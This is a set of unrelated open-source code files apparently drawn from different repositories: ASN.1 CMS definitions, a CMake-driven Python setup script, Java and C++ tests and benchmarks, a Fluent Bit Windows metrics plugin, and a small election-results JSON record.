MessageAuthenticationCodeAlgorithm(rfc3280.AlgorithmIdentifier): pass class MessageDigest(univ.OctetString): pass class Time(univ.Choice): pass Time.componentType = namedtype.NamedTypes( namedtype.NamedType('utcTime', useful.UTCTime()), namedtype.NamedType('generalTime', useful.GeneralizedTime()) ) class OriginatorInfo(univ.Sequence): pass OriginatorInfo.componentType = namedtype.NamedTypes( namedtype.OptionalNamedType('certs', CertificateSet().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))), namedtype.OptionalNamedType('crls', RevocationInfoChoices().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))) ) class AuthAttributes(univ.SetOf): pass AuthAttributes.componentType = Attribute() AuthAttributes.subtypeSpec = constraint.ValueSizeConstraint(1, MAX) class AuthenticatedData(univ.Sequence): pass AuthenticatedData.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.OptionalNamedType('originatorInfo', OriginatorInfo().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))), namedtype.NamedType('recipientInfos', RecipientInfos()), namedtype.NamedType('macAlgorithm', MessageAuthenticationCodeAlgorithm()), namedtype.OptionalNamedType('digestAlgorithm', DigestAlgorithmIdentifier().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))), namedtype.NamedType('encapContentInfo', EncapsulatedContentInfo()), namedtype.OptionalNamedType('authAttrs', AuthAttributes().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))), namedtype.NamedType('mac', MessageAuthenticationCode()), namedtype.OptionalNamedType('unauthAttrs', UnauthAttributes().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))) ) id_ct_contentInfo = _buildOid(1, 2, 840, 113549, 1, 9, 16, 1, 6) id_envelopedData = _buildOid(1, 2, 840, 113549, 1, 7, 3) class EnvelopedData(univ.Sequence): pass EnvelopedData.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.OptionalNamedType('originatorInfo', OriginatorInfo().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))), namedtype.NamedType('recipientInfos', RecipientInfos()), namedtype.NamedType('encryptedContentInfo', EncryptedContentInfo()), namedtype.OptionalNamedType('unprotectedAttrs', UnprotectedAttributes().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))) ) class Countersignature(SignerInfo): pass id_digestedData = _buildOid(1, 2, 840, 113549, 1, 7, 5) id_signingTime = _buildOid(1, 2, 840, 113549, 1, 9, 5) class ExtendedCertificateOrCertificate(univ.Choice): pass ExtendedCertificateOrCertificate.componentType = namedtype.NamedTypes( namedtype.NamedType('certificate', rfc3280.Certificate()), namedtype.NamedType('extendedCertificate', ExtendedCertificate().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))) ) id_encryptedData = _buildOid(1, 2, 840, 113549, 1, 7, 6) id_ct_authData = _buildOid(1, 2, 840, 113549, 1, 9, 16, 1, 2) class SigningTime(Time): pass id_countersignature = _buildOid(1, 2, 840, 113549, 1, 9, 6)
7,045
637
<reponame>ChineseBoyLY/CMakeTutorial import os import shlex import subprocess import datetime import time import shutil from setuptools import setup, Extension cwd = os.path.dirname(os.path.abspath(__file__)) def execute_command(cmdstring, cwd=None, timeout=None, shell=False): """执行一个SHELL命令封装了subprocess的Popen方法, 支持超时判断,支持读取stdout和stderr Arguments: cmdstring {[type]} -- 命令字符创 Keyword Arguments: cwd {str} -- 运行命令时更改路径,如果被设定,子进程会直接先更改当前路径到cwd (default: {None}) timeout {str} -- 超时时间,秒,支持小数,精度0.1秒 (default: {None}) shell {bool} -- 是否通过shell运行 (default: {False}) """ if shell: cmdstring_list = cmdstring else: cmdstring_list = shlex.split(cmdstring) if timeout: end_time = datetime.datetime.now() + datetime.timedelta(seconds=timeout) # 没有指定标准输出和错误输出的管道,因此会打印到屏幕上; sub = subprocess.Popen(cmdstring_list, cwd=cwd, stdin=subprocess.PIPE,shell=shell,bufsize=4096) # subprocess.poll()方法:检查子进程是否结束了,如果结束了,设定并返回码,放在subprocess.returncode变量中 while sub.poll() is None: time.sleep(0.1) if timeout: if end_time <= datetime.datetime.now(): raise Exception("Timeout:%s"%cmdstring) return sub.returncode def build_library(): envs = os.environ cmake_prefix_path = envs.get('CMAKE_PREFIX_PATH', None) if cmake_prefix_path is None: raise EnvironmentError("Please specify CMAKE_PREFIX_PATH env.") config_command = "cmake -DCMAKE_PREFIX_PATH={} -S {} -B {}" path_to_source = cwd path_to_build = os.path.join(cwd, "build") if os.path.exists(path_to_build): shutil.rmtree(path_to_build) config_command = config_command.format(cmake_prefix_path, path_to_source, path_to_build) code = execute_command(config_command) if code != 0: raise RuntimeError("Run configure command fail.") build_command = "cmake --build {}".format(os.path.join(cwd, "build")) code = execute_command(build_command) if code != 0: raise RuntimeError("Run build Command fail.") def main(): build_library() extention = Extension( "matrix", libraries=["matrix"], sources=["stub.cc"], language="c++", extra_compile_args=['-std=c++11'], include_dirs=[cwd], library_dirs=[os.path.join(cwd, "build")] ) setup(name="fputs", version="1.0.0", description="A Simple Matrix Library.", author="hanbing", author_email="<EMAIL>", ext_modules=[extention] ) if __name__ == "__main__": main()
1,436
487
/** * Copyright 2014-2020 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package net.kaczmarzyk.e2e.converter; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; import net.kaczmarzyk.E2eTestBase; import org.junit.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.jpa.domain.Specification; import org.springframework.http.MediaType; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import net.kaczmarzyk.spring.data.jpa.Customer; import net.kaczmarzyk.spring.data.jpa.CustomerRepository; import net.kaczmarzyk.spring.data.jpa.domain.Between; import net.kaczmarzyk.spring.data.jpa.domain.GreaterThan; import net.kaczmarzyk.spring.data.jpa.domain.LessThan; import net.kaczmarzyk.spring.data.jpa.web.annotation.Spec; public class LocalDateTimeE2eTest extends E2eTestBase { @Controller public static class LocalDateSpecsController { @Autowired CustomerRepository customerRepo; @RequestMapping(value = "/customers", params = "lastOrderTimeBefore") @ResponseBody public Object findCustomersWIthLastOrderBefore_defaultDateTimePattern( @Spec(path="lastOrderTime", params="lastOrderTimeBefore", spec= LessThan.class) Specification<Customer> spec) { return customerRepo.findAll(spec); } @RequestMapping(value = "/customers", params = "lastOrderTimeBefore_customFormat") @ResponseBody public Object findCustomersWIthLastOrderBefore_customDateTimePattern( @Spec(path="lastOrderTime", params="lastOrderTimeBefore_customFormat", config="yyyy/MM/dd', 'HH:mm", spec= LessThan.class) Specification<Customer> spec) { return customerRepo.findAll(spec); } @RequestMapping(value = "/customers", params = "lastOrderTimeAfter") @ResponseBody public Object findCustomersWIthLastOrderAfter_defaultDateTimePattern( @Spec(path="lastOrderTime", params="lastOrderTimeAfter", spec= GreaterThan.class) Specification<Customer> spec) { return customerRepo.findAll(spec); } @RequestMapping(value = "/customers", params = "lastOrderTimeAfter_customFormat") @ResponseBody public Object findCustomersWithLastOrderAfter_customDateTimePattern( @Spec(path="lastOrderTime", params="lastOrderTimeAfter_customFormat", config="yyyy/MM/dd', 'HH:mm", spec= GreaterThan.class) Specification<Customer> spec) { return customerRepo.findAll(spec); } @RequestMapping(value = "/customers", params = { "lastOrderTimeAfter", "lastOrderTimeBefore" }) @ResponseBody public Object findCustomersWithLastOrderTimeBetween_defaultDateTimePattern( @Spec(path="lastOrderTime", params={ "lastOrderTimeAfter", "lastOrderTimeBefore" }, spec= Between.class) Specification<Customer> spec) { return customerRepo.findAll(spec); } @RequestMapping(value = "/customers", params = { "lastOrderTimeAfter_customFormat", "lastOrderTimeBefore_customFormat" }) @ResponseBody public Object findCustomersWithLastOrderTimeBetween_customDateTimePattern( @Spec(path="lastOrderTime", params={ "lastOrderTimeAfter_customFormat", "lastOrderTimeBefore_customFormat" }, config="yyyy/MM/dd', 'HH:mm", spec= Between.class) Specification<Customer> spec) { return customerRepo.findAll(spec); } } @Test public void findsByDateTimeBeforeWithCustomDateFormat() throws Exception { mockMvc.perform(get("/customers") .param("lastOrderTimeBefore_customFormat", "2017/08/22, 09:17") .accept(MediaType.APPLICATION_JSON)) .andExpect(status().isOk()) .andExpect(jsonPath("$.[?(@.firstName=='Homer')]").exists()) .andExpect(jsonPath("$.[?(@.firstName=='Ned')]").exists()) .andExpect(jsonPath("$[2]").doesNotExist()); } @Test public void findsByDateTimeBeforeWithDefaultDateFormat() throws Exception { mockMvc.perform(get("/customers") .param("lastOrderTimeBefore", "2016-10-17T18:29:00") .accept(MediaType.APPLICATION_JSON)) .andExpect(status().isOk()) .andExpect(jsonPath("$[0].firstName").value("Homer")) .andExpect(jsonPath("$[1]").doesNotExist()); } @Test public void findsByDateTimeAfterWithDefaultDateFormat() throws Exception { mockMvc.perform(get("/customers") .param("lastOrderTimeAfter", "2017-11-21T11:12:59") .accept(MediaType.APPLICATION_JSON)) .andExpect(status().isOk()) .andExpect(jsonPath("$.[?(@.firstName=='Bart')]").exists()) .andExpect(jsonPath("$.[?(@.firstName=='Marge')]").exists()) .andExpect(jsonPath("$.[?(@.firstName=='Moe')]").exists()) .andExpect(jsonPath("$[3]").doesNotExist()); } @Test public void findsByDateTimeAfterWithCustomDateFormat() throws Exception { mockMvc.perform(get("/customers") .param("lastOrderTimeAfter_customFormat", "2017/11/21, 11:13") .accept(MediaType.APPLICATION_JSON)) .andExpect(status().isOk()) .andExpect(jsonPath("$.[?(@.firstName=='Bart')]").exists()) .andExpect(jsonPath("$.[?(@.firstName=='Marge')]").exists()) .andExpect(jsonPath("$.[?(@.firstName=='Moe')]").exists()) .andExpect(jsonPath("$[3]").doesNotExist()); } @Test public void findsByDateTimeBetweenWithDefaultDateFormat() throws Exception { mockMvc.perform(get("/customers") .param("lastOrderTimeAfter", "2017-11-21T11:12:59") .param("lastOrderTimeBefore", "2017-12-14T11:12:59") .accept(MediaType.APPLICATION_JSON)) .andExpect(status().isOk()) .andExpect(jsonPath("$.[?(@.firstName=='Bart')]").exists()) .andExpect(jsonPath("$.[?(@.firstName=='Moe')]").exists()) .andExpect(jsonPath("$[2]").doesNotExist()); } @Test public void findsByDateTimeBetweenWithCustomDateFormat() throws Exception { mockMvc.perform(get("/customers") .param("lastOrderTimeAfter_customFormat", "2017/11/21, 11:12") .param("lastOrderTimeBefore_customFormat", "2017/12/14, 11:12") .accept(MediaType.APPLICATION_JSON)) .andExpect(status().isOk()) .andExpect(jsonPath("$.[?(@.firstName=='Bart')]").exists()) .andExpect(jsonPath("$.[?(@.firstName=='Moe')]").exists()) .andExpect(jsonPath("$[2]").doesNotExist()); } }
3,312
576
<reponame>anderlli0053/godex #ifndef TEST_ECS_COMPONENT_H #define TEST_ECS_COMPONENT_H #include "tests/test_macros.h" #include "../ecs.h" #include "../modules/godot/components/transform_component.h" namespace godex_component_test { TEST_CASE("[Modules][ECS] Test component create pointer.") { void *transform = ECS::new_component(TransformComponent::get_component_id()); CHECK(transform != nullptr); ECS::unsafe_component_set_by_name(TransformComponent::get_component_id(), transform, "origin", Vector3(1, 2, 3)); const Vector3 vec = ECS::unsafe_component_get_by_name(TransformComponent::get_component_id(), transform, "origin"); CHECK(vec.distance_to(Vector3(1, 2, 3)) <= CMP_EPSILON); ECS::free_component(TransformComponent::get_component_id(), transform); } } // namespace godex_component_test struct TestDynamicSetGetComponent { COMPONENT(TestDynamicSetGetComponent, DenseVectorStorage); static void _bind_methods() { ECS_BIND_PROPERTY(TestDynamicSetGetComponent, PropertyInfo(Variant::BOOL, "enable_color"), enable_color); } void _get_property_list(List<PropertyInfo> *r_list) { if (enable_color) { r_list->push_back(PropertyInfo(Variant::COLOR, "color")); } } bool _set(const StringName &p_name, const Variant &p_value) { if (enable_color) { if (p_name == SNAME("color")) { meta[SNAME("color")] = p_value; return true; } } return false; } bool _get(const StringName &p_name, Variant &r_value) const { if (enable_color) { if (p_name == SNAME("color")) { if (meta.has(SNAME("color"))) { r_value = meta[SNAME("color")]; } else { // Default color. r_value = Color(1.0, 0.0, 0.0); } return true; } } return false; } bool enable_color = false; Dictionary meta; }; namespace godex_component_test { TEST_CASE("[Modules][ECS] Test component dynamic set and get.") { ECS::register_component<TestDynamicSetGetComponent>(); // Create the component using the `unsafe_` functions, so we can also test those. void *component = ECS::new_component(TestDynamicSetGetComponent::get_component_id()); { List<PropertyInfo> properties; ECS::unsafe_component_get_property_list( TestDynamicSetGetComponent::get_component_id(), component, &properties); // By default `enable_color` is set to `false` so we have only one property. CHECK(properties.size() == 1); CHECK(properties[0].name == "enable_color"); } // Now set `enable_color` to `true`. ECS::unsafe_component_set_by_name(TestDynamicSetGetComponent::get_component_id(), component, SNAME("enable_color"), true); { List<PropertyInfo> properties; ECS::unsafe_component_get_property_list( TestDynamicSetGetComponent::get_component_id(), component, &properties); // Now `enable_color` is set to `true` so we have two property. CHECK(properties.size() == 2); // And one of those is `color` which is dynamic. CHECK((properties[0].name == "color" || properties[1].name == "color")); } { // Get the default color: const Color color = ECS::unsafe_component_get_by_name( TestDynamicSetGetComponent::get_component_id(), component, SNAME("color")); CHECK(Math::is_equal_approx(color.r, real_t(1.0))); CHECK(Math::is_equal_approx(color.g, real_t(0.0))); CHECK(Math::is_equal_approx(color.b, real_t(0.0))); } { // Try to set `color` ECS::unsafe_component_set_by_name(TestDynamicSetGetComponent::get_component_id(), component, SNAME("color"), Color(0.0, 1.0, 0.0)); const Color color = ECS::unsafe_component_get_by_name( TestDynamicSetGetComponent::get_component_id(), component, SNAME("color")); CHECK(Math::is_equal_approx(color.r, real_t(0.0))); CHECK(Math::is_equal_approx(color.g, real_t(1.0))); CHECK(Math::is_equal_approx(color.b, real_t(0.0))); } // Set color enabled to false ECS::unsafe_component_set_by_name(TestDynamicSetGetComponent::get_component_id(), component, SNAME("enable_color"), false); // Make sure we can't fetch color: Variant color; CHECK(!ECS::unsafe_component_get_by_name( TestDynamicSetGetComponent::get_component_id(), component, SNAME("color"), color)); // Make sure we can't set CHECK(!ECS::unsafe_component_set_by_name( TestDynamicSetGetComponent::get_component_id(), component, SNAME("color"), Color(0.0, 1.0, 0.0))); } } // namespace godex_component_test #endif // TEST_ECS_COMOPNENT_H
1,677
4,339
<reponame>vvteplygin/ignite /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.internal.benchmarks.jmh.diagnostic.pagelocktracker; import org.apache.ignite.internal.benchmarks.jmh.diagnostic.pagelocktracker.stack.LockTrackerNoBarrier; import org.apache.ignite.internal.processors.cache.persistence.diagnostic.pagelocktracker.PageLockTracker; import org.apache.ignite.internal.processors.cache.persistence.diagnostic.pagelocktracker.PageLockTrackerFactory; import org.apache.ignite.internal.processors.cache.persistence.tree.util.PageLockListener; import org.openjdk.jmh.annotations.Benchmark; import org.openjdk.jmh.annotations.BenchmarkMode; import org.openjdk.jmh.annotations.Fork; import org.openjdk.jmh.annotations.Measurement; import org.openjdk.jmh.annotations.Mode; import org.openjdk.jmh.annotations.Param; import org.openjdk.jmh.annotations.Scope; import org.openjdk.jmh.annotations.Setup; import org.openjdk.jmh.annotations.State; import org.openjdk.jmh.annotations.Warmup; import org.openjdk.jmh.runner.Runner; import org.openjdk.jmh.runner.options.Options; import org.openjdk.jmh.runner.options.OptionsBuilder; import static org.apache.ignite.internal.processors.cache.persistence.diagnostic.pagelocktracker.PageLockTrackerFactory.HEAP_LOG; import static org.apache.ignite.internal.processors.cache.persistence.diagnostic.pagelocktracker.PageLockTrackerFactory.HEAP_STACK; import static org.apache.ignite.internal.processors.cache.persistence.diagnostic.pagelocktracker.PageLockTrackerFactory.OFF_HEAP_LOG; import static org.apache.ignite.internal.processors.cache.persistence.diagnostic.pagelocktracker.PageLockTrackerFactory.OFF_HEAP_STACK; /** * Benchmark PageLockTracker (factory LockTrackerFactory) */ public class JmhPageLockTrackerBenchmark { /** * @param args Params. */ public static void main(String[] args) throws Exception { Options opt = new OptionsBuilder() .include(JmhPageLockTrackerBenchmark.class.getSimpleName()) .build(); new Runner(opt).run(); } /** */ @State(Scope.Thread) public static class ThreadLocalState { /** */ PageLockListener pl; /** */ @Param({"2", "4", "8", "16"}) int stackSize; /** */ @Param({ "HeapArrayLockStack", "HeapArrayLockLog", "OffHeapLockStack", "OffHeapLockLog" }) String type; /** */ @Param({"true", "false"}) boolean barrier; /** */ int StructureId = 123; /** */ @Setup public void doSetup() { pl = create(Thread.currentThread().getName(), type, barrier); } } /** * Mesure cost for (beforelock -> lock -> unlock) operation. */ @Benchmark @BenchmarkMode(Mode.Throughput) @Fork(1) @Warmup(iterations = 10) @Measurement(iterations = 10) //@OutputTimeUnit(TimeUnit.MICROSECONDS) public void lockUnlock(ThreadLocalState localState) { PageLockListener pl = localState.pl; for (int i = 0; i < localState.stackSize; i++) { int pageId = i + 1; pl.onBeforeReadLock(localState.StructureId, pageId, pageId); pl.onReadLock(localState.StructureId, pageId, pageId, pageId); } for (int i = localState.stackSize; i > 0; i--) { int pageId = i; pl.onReadUnlock(localState.StructureId, pageId, pageId, pageId); } } /** * Factory method. * * @param name Lock tracer name. * @param type Lock tracer type. * @param barrier If {@code True} use real implementation, * if {@code False} use implementation with safety dump barrier. * @return Page lock tracker as PageLockListener. */ private static PageLockListener create(String name, String type, boolean barrier) { PageLockTracker tracker; switch (type) { case "HeapArrayLockStack": tracker = PageLockTrackerFactory.create(HEAP_STACK, name); break; case "HeapArrayLockLog": tracker = PageLockTrackerFactory.create(HEAP_LOG, name); break; case "OffHeapLockStack": tracker = PageLockTrackerFactory.create(OFF_HEAP_STACK, name); break; case "OffHeapLockLog": tracker = PageLockTrackerFactory.create(OFF_HEAP_LOG, name); break; default: throw new IllegalArgumentException("type:" + type); } return barrier ? tracker : new LockTrackerNoBarrier(tracker); } }
2,148
3,553
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Fluent Bit * ========== * Copyright (C) 2019-2021 The Fluent Bit Authors * Copyright (C) 2015-2018 Treasure Data Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <fluent-bit/flb_compat.h> #include <fluent-bit/flb_info.h> #include <fluent-bit/flb_input.h> #include <fluent-bit/flb_input_plugin.h> #include <fluent-bit/flb_config.h> #include <fluent-bit/flb_pack.h> #include <psapi.h> struct stat_cache { int64_t processes; int64_t threads; int64_t handles; int64_t commit_total; int64_t commit_limit; int64_t kernel_total; int64_t kernel_paged; int64_t kernel_nonpaged; int64_t physical_available; int64_t physical_total; int64_t physical_used; uint64_t idletime; uint64_t kerneltime; uint64_t usertime; uint64_t cpu_idle; uint64_t cpu_user; uint64_t cpu_kernel; float cpu_utilization; char uptime_human[32]; uint64_t uptime_msec; }; struct flb_winstat { int coll_fd; int interval_sec; int interval_nsec; struct flb_input_instance *ins; struct stat_cache cache; }; #define filetime64(ft) \ ((((uint64_t) (ft)->dwHighDateTime) << 32) + (ft)->dwLowDateTime) #define KB(n, page) ((n) * (page) / 1024) static int query_processor(struct stat_cache *cache) { uint64_t prev_idletime = cache->idletime; uint64_t prev_usertime = cache->usertime; uint64_t prev_kerneltime = cache->kerneltime; FILETIME idletime; FILETIME kerneltime; FILETIME usertime; uint64_t total; if (!GetSystemTimes(&idletime, &kerneltime, &usertime)) { return -1; } cache->idletime = filetime64(&idletime); cache->kerneltime = filetime64(&kerneltime) - cache->idletime; cache->usertime = filetime64(&usertime); cache->cpu_idle = cache->idletime - prev_idletime; cache->cpu_user = cache->usertime - prev_usertime; cache->cpu_kernel = cache->kerneltime - prev_kerneltime; total = cache->cpu_user + cache->cpu_kernel + cache->cpu_idle; cache->cpu_utilization = 100 - 100.0 * cache->cpu_idle / total; return 0; } static int query_performance_info(struct stat_cache *cache) { PERFORMANCE_INFORMATION perf; if (!GetPerformanceInfo(&perf, sizeof(perf))) { return -1; } cache->processes = perf.ProcessCount; cache->threads = perf.ThreadCount; cache->handles = perf.HandleCount; cache->physical_total = KB(perf.PhysicalTotal, perf.PageSize); cache->physical_available = KB(perf.PhysicalAvailable, perf.PageSize); cache->physical_used = cache->physical_total - cache->physical_available; cache->commit_total = KB(perf.CommitTotal, perf.PageSize); cache->commit_limit = KB(perf.CommitLimit, perf.PageSize); cache->kernel_total = KB(perf.KernelTotal, perf.PageSize); cache->kernel_paged = KB(perf.KernelPaged, perf.PageSize); cache->kernel_nonpaged = KB(perf.KernelNonpaged, perf.PageSize); return 0; } static int query_uptime(struct stat_cache *cache) { int ret; cache->uptime_msec = GetTickCount64(); /* Emulate Windows Task Manager (DD:HH:MM:SS) */ ret = sprintf_s(cache->uptime_human, 32, "%d:%02d:%02d:%02d", (int) (cache->uptime_msec / 1000 / 60 / 60 / 24), (int) ((cache->uptime_msec / 1000 / 60 / 60) % 24), (int) ((cache->uptime_msec / 1000 / 60) % 60), (int) ((cache->uptime_msec / 1000) % 60)); if (ret == -1) { return -1; } return 0; } /* * Input Plugin API */ static int in_winstat_collect(struct flb_input_instance *in, struct flb_config *config, void *data) { struct flb_winstat *ctx = data; struct stat_cache *cache = &ctx->cache; int uptime_len; msgpack_packer mp_pck; msgpack_sbuffer mp_sbuf; /* Query Windows metrics */ if (query_performance_info(cache)) { flb_plg_error(ctx->ins, "cannot query Performance info"); return -1; } if (query_processor(cache)) { flb_plg_error(ctx->ins, "cannot query Processor info"); return -1; } if (query_uptime(cache)) { flb_plg_error(ctx->ins, "cannot query uptime"); return -1; } /* Pack the data */ msgpack_sbuffer_init(&mp_sbuf); msgpack_packer_init(&mp_pck, &mp_sbuf, msgpack_sbuffer_write); msgpack_pack_array(&mp_pck, 2); flb_pack_time_now(&mp_pck); msgpack_pack_map(&mp_pck, 17); /* Processes/Threads/Handles */ msgpack_pack_str(&mp_pck, 9); msgpack_pack_str_body(&mp_pck, "processes", 9); msgpack_pack_int64(&mp_pck, cache->processes); msgpack_pack_str(&mp_pck, 7); msgpack_pack_str_body(&mp_pck, "threads", 7); msgpack_pack_int64(&mp_pck, cache->threads); msgpack_pack_str(&mp_pck, 7); msgpack_pack_str_body(&mp_pck, "handles", 7); msgpack_pack_int64(&mp_pck, cache->handles); /* System performance info */ msgpack_pack_str(&mp_pck, 14); msgpack_pack_str_body(&mp_pck, "physical_total", 14); msgpack_pack_int64(&mp_pck, cache->physical_total); msgpack_pack_str(&mp_pck, 13); msgpack_pack_str_body(&mp_pck, "physical_used", 13); msgpack_pack_int64(&mp_pck, cache->physical_used); msgpack_pack_str(&mp_pck, 18); msgpack_pack_str_body(&mp_pck, "physical_available", 18); msgpack_pack_int64(&mp_pck, cache->physical_available); msgpack_pack_str(&mp_pck, 12); msgpack_pack_str_body(&mp_pck, "commit_total", 12); msgpack_pack_int64(&mp_pck, cache->commit_total); msgpack_pack_str(&mp_pck, 12); msgpack_pack_str_body(&mp_pck, "commit_limit", 12); msgpack_pack_int64(&mp_pck, cache->commit_limit); msgpack_pack_str(&mp_pck, 12); msgpack_pack_str_body(&mp_pck, "kernel_total", 12); msgpack_pack_int64(&mp_pck, cache->kernel_total); msgpack_pack_str(&mp_pck, 12); msgpack_pack_str_body(&mp_pck, "kernel_paged", 12); msgpack_pack_int64(&mp_pck, cache->kernel_paged); msgpack_pack_str(&mp_pck, 15); msgpack_pack_str_body(&mp_pck, "kernel_nonpaged", 15); msgpack_pack_int64(&mp_pck, cache->kernel_nonpaged); /* Processors */ msgpack_pack_str(&mp_pck, 8); msgpack_pack_str_body(&mp_pck, "cpu_user", 8); msgpack_pack_uint64(&mp_pck, cache->cpu_user); msgpack_pack_str(&mp_pck, 8); msgpack_pack_str_body(&mp_pck, "cpu_idle", 8); msgpack_pack_uint64(&mp_pck, cache->cpu_idle); msgpack_pack_str(&mp_pck, 10); msgpack_pack_str_body(&mp_pck, "cpu_kernel", 10); msgpack_pack_uint64(&mp_pck, cache->cpu_kernel); msgpack_pack_str(&mp_pck, 15); msgpack_pack_str_body(&mp_pck, "cpu_utilization", 15); msgpack_pack_float(&mp_pck, cache->cpu_utilization); /* Uptime */ msgpack_pack_str(&mp_pck, 11); msgpack_pack_str_body(&mp_pck, "uptime_msec", 11); msgpack_pack_uint64(&mp_pck, cache->uptime_msec); uptime_len = strlen(cache->uptime_human); msgpack_pack_str(&mp_pck, 12); msgpack_pack_str_body(&mp_pck, "uptime_human", 12); msgpack_pack_str(&mp_pck, uptime_len); msgpack_pack_str_body(&mp_pck, cache->uptime_human, uptime_len); flb_input_chunk_append_raw(in, NULL, 0, mp_sbuf.data, mp_sbuf.size); msgpack_sbuffer_destroy(&mp_sbuf); return 0; } static int in_winstat_init(struct flb_input_instance *in, struct flb_config *config, void *data) { int ret; struct flb_winstat *ctx; /* Initialize context */ ctx = flb_calloc(1, sizeof(struct flb_winstat)); if (!ctx) { return -1; } ctx->ins = in; /* Load the config map */ ret = flb_input_config_map_set(in, (void *) ctx); if (ret == -1) { flb_free(ctx); return -1; } /* Preload CPU usage */ if (query_processor(&ctx->cache)) { flb_plg_warn(ctx->ins, "cannot preload CPU times."); } /* Set the context */ flb_input_set_context(in, ctx); /* Set the collector */ ret = flb_input_set_collector_time(in, in_winstat_collect, ctx->interval_sec, ctx->interval_nsec, config); if (ret == -1) { flb_plg_error(ctx->ins, "could not set up a collector"); flb_free(ctx); return -1; } ctx->coll_fd = ret; return 0; } static int in_winstat_exit(void *data, struct flb_config *config) { struct flb_winstat *ctx = data; flb_free(ctx); return 0; } static void in_winstat_pause(void *data, struct flb_config *config) { struct flb_winstat *ctx = data; flb_input_collector_pause(ctx->coll_fd, ctx->ins); } static void in_winstat_resume(void *data, struct flb_config *config) { struct flb_winstat *ctx = data; flb_input_collector_resume(ctx->coll_fd, ctx->ins); } static struct flb_config_map config_map[] = { { FLB_CONFIG_MAP_TIME, "interval_sec", "1s", 0, FLB_TRUE, offsetof(struct flb_winstat, interval_sec), "Set the emitter interval" }, { FLB_CONFIG_MAP_INT, "interval_nsec", "0", 0, FLB_TRUE, offsetof(struct flb_winstat, interval_nsec), "Set the emitter interval (sub seconds)" }, {0} }; struct flb_input_plugin in_winstat_plugin = { .name = "winstat", .description = "Windows System Statistics", .cb_init = in_winstat_init, .cb_pre_run = NULL, .cb_collect = in_winstat_collect, .cb_flush_buf = NULL, .cb_pause = in_winstat_pause, .cb_resume = in_winstat_resume, .cb_exit = in_winstat_exit, .config_map = config_map };
4,594
1,694
/* * Copyright (C) 2008 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package org.stagemonitor.core.util; public class Ints { /** * Copy of {@code com.google.common.net.InetAddresses#toByteArray} * * Returns a big-endian representation of {@code value} in a 4-element byte array; equivalent to * {@code ByteBuffer.allocate(4).putInt(value).array()}. For example, the input value * {@code 0x12131415} would yield the byte array {@code {0x12, 0x13, 0x14, 0x15}}. * * <p>If you need to convert and concatenate several values (possibly even of different types), * use a shared {@link java.nio.ByteBuffer} instance, or use * {@code com.google.common.io.ByteStreams#newDataOutput()} to get a growable buffer. */ public static byte[] toByteArray(int value) { return new byte[] { (byte) (value >> 24), (byte) (value >> 16), (byte) (value >> 8), (byte) value }; } }
440
348
<filename>docs/data/leg-t2/070/07001574.json {"nom":"Volon","circ":"1ère circonscription","dpt":"Haute-Saône","inscrits":69,"abs":25,"votants":44,"blancs":1,"nuls":0,"exp":43,"res":[{"nuance":"FN","nom":"Mme <NAME>","voix":24},{"nuance":"REM","nom":"Mme <NAME>","voix":19}]}
115
4,392
